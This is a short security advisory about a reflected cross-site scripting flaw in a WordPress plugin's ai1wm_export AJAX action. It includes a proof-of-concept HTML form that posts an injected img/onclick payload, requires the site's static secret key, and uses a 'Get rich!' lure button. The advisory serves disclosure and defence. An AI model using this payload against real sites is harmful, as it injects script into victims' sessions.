Description

The plugin uses the wrong content type, and does not properly escape the response from the ai1wm_export AJAX action, allowing an attacker to craft a request that when submitted by any visitor will inject arbitrary html or javascript into the response that will be executed in the victims session. Note: This requires knowledge of a static secret key

Proof of Concept (POC)

<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
  <!--
    Note: The secret key must be obtained through other means.
    It is stored in the site option `ai1wm_secret_key`, but is
    static for the lifetime of the site.
  -->
  <input type="hidden" name="secret_key" value="[secret_key]">
  <input type="hidden" name="ai1wm_manual_export" value="1">
  <input type="hidden" name="archive" value="<img src=x onclick=alert(/XSS/)>">

  <input type="submit" value="Get rich!">
</form>
